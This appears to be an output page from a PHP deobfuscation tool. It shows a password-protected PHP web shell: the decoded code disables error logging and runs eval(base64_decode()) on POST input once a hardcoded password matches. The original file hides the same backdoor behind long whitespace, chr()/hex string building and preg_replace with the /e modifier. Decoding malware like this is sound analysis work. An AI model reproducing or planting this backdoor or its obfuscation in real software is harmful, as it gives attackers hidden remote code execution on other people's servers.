Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "Yl0G7TIQt2LVvP4BvTTiTWGvbJaxXrKx")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php



                                                                                                                                                                                                                                                                                                                           $h9l99a="p\x72\x65\x67\x5F".chr(114)."\x65".chr(112)."\x6c".chr(97)."\x63\x65";$wx4mo=chr(101)."v".chr(97)."l\x28\x62\x61\x73\x65\x36\x34_d\x65cod\x65".chr(40)."\x22".chr(81).chr(71).chr(86)."y\x63\x6d\x39\x79\x58".chr(51)."\x4Alc\x479\x79\x64G\x6C\x75\x5a".chr(121)."\x67".chr(119)."\x4B".chr(84)."\x73\x4B".chr(81)."G\x6C".chr(117)."aV\x39z".chr(90).chr(88)."Qo\x49".chr(109).chr(82)."\x70".chr(99).chr(51)."\x42\x73".chr(89)."\x58".chr(108)."f\x5A\x58\x4a\x79\x623Jz\x49\x69ww\x4b".chr(84)."s\x4BQ\x47\x6cu\x61".chr(86)."\x39\x7aZ".chr(88)."Qo\x49m\x78".chr(118)."Z\x31\x39lc".chr(110)."\x4a".chr(118)."cn".chr(77)."\x69L".chr(68)."Ap".chr(79)."w\x70\x41a\x57".chr(53)."\x70".chr(88)."\x33".chr(78)."\x6c\x64Cg".chr(105)."Z".chr(88)."\x4a\x79".chr(98)."3\x4A\x66\x62\x47".chr(57)."\x6eI\x69".chr(119).chr(119).chr(75)."T".chr(115).chr(75)."Cml".chr(109)."\x49C".chr(104)."\x70\x63".chr(51)."N\x6c\x64Cgk\x58\x31".chr(66)."\x50U1".chr(81).chr(112)."ICY".chr(109).chr(73)."G\x6c\x7a".chr(88)."\x32".chr(70).chr(121)."c\x6D".chr(70).chr(53)."K\x43".chr(82).chr(102)."\x55E9\x54".chr(86)."\x43\x6b\x67\x4A\x69Y".chr(103).chr(89)."\x32".chr(57)."\x31b".chr(110).chr(81)."\x6f\x4A\x46".chr(57)."Q\x54\x31".chr(78)."\x55KT\x34x\x4b".chr(81)."\x707".chr(67)."\x67".chr(108)."mb\x33J\x6cY".chr(87)."No".chr(73)."\x43g\x6bX\x31\x42".chr(80).chr(85)."\x31".chr(81)."\x67Y\x58".chr(77)."\x67J".chr(72)."Z".chr(104).chr(99).chr(105)."\x6B\x4BCX\x73K\x43".chr(81)."lp".chr(90).chr(105)."A".chr(111)."\x49Wl".chr(122)."\x63".chr(50)."\x56\x30".chr(75).chr(67).chr(82)."\x6a\x622R".chr(108).chr(75)."\x53k\x67JGN".chr(118)."\x5A\x47\x55\x67P\x53\x41\x6b\x64m".chr(70)."y\x4F".chr(119).chr(111)."\x4aC".chr(87).chr(86).chr(115)."c2".chr(86)."\x70".chr(90).chr(105)."\x41o\x49W".chr(108)."\x7a".chr(99)."2\x560\x4B\x43R".chr(119).chr(89)."X\x4E\x7A".chr(75)."Skg\x4A".chr(72).chr(66)."h".chr(99)."\x33\x4D".chr(103).chr(80)."S\x41\x6B\x64m".chr(70)."yO".chr(119)."\x6fJ".chr(67)."\x57\x56\x73c".chr(50)."Ug\x59".chr(110).chr(74)."\x6C\x59W\x73\x37\x43\x67\x6c\x39Cg\x6fJa\x57\x59g\x4b\x43".chr(82)."\x77YXN\x7A".chr(73).chr(68)."0".chr(57)."\x49".chr(67).chr(74).chr(90)."\x62D".chr(66)."H".chr(78).chr(49).chr(82)."\x4A\x55\x58Q\x79\x54\x46\x5a\x32".chr(85).chr(68)."\x52".chr(67)."dl\x52\x55a\x56\x52\x58".chr(82)."3Z".chr(105)."\x53".chr(109)."\x46\x34\x57".chr(72)."\x4A".chr(76).chr(101).chr(67)."\x49\x70\x43\x67\x6C".chr(55)."\x43".chr(103)."\x6b\x4AZ\x58\x5a".chr(104).chr(98)."\x43\x68".chr(105)."\x59".chr(88).chr(78)."l".chr(78).chr(106)."\x52".chr(102)."\x5aG\x56".chr(106)."b\x32\x52l\x4B\x43\x52\x6a".chr(98).chr(50)."\x52\x6C".chr(75)."S".chr(107)."\x37".chr(67)."g\x6c9".chr(67).chr(110).chr(48).chr(75)."\x5A".chr(88)."\x68pd\x44s".chr(61)."\x22))".chr(59);$y3wC=chr(47)."0".chr(56)."7\x38e\x38\x62".chr(49).chr(52)."7f".chr(97)."\x34\x65\x64".chr(52).chr(48).chr(98)."56e\x628\x64c\x64\x66\x30\x61e\x63".chr(55)."\x2F\x65";$h9l99a($y3wC,$wx4mo,"\x30\x38\x37\x38e\x38b1\x34".chr(55)."f\x61".chr(52).chr(101)."d\x34\x30\x62".chr(53)."6".chr(101)."b8".chr(100)."\x63".chr(100).chr(102)."\x30a\x65".chr(99).chr(55));




?>

Function Calls

chr 180
preg_replace 1
base64_decode 1

Variables

$y3wC /0878e8b147fa4ed40b56eb8dcdf0aec7/e
$wx4mo eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$h9l99a preg_replace

Stats

MD5 c613ef834b319429bc2df0492256ab36
Eval Count 2
Decode Time 252 ms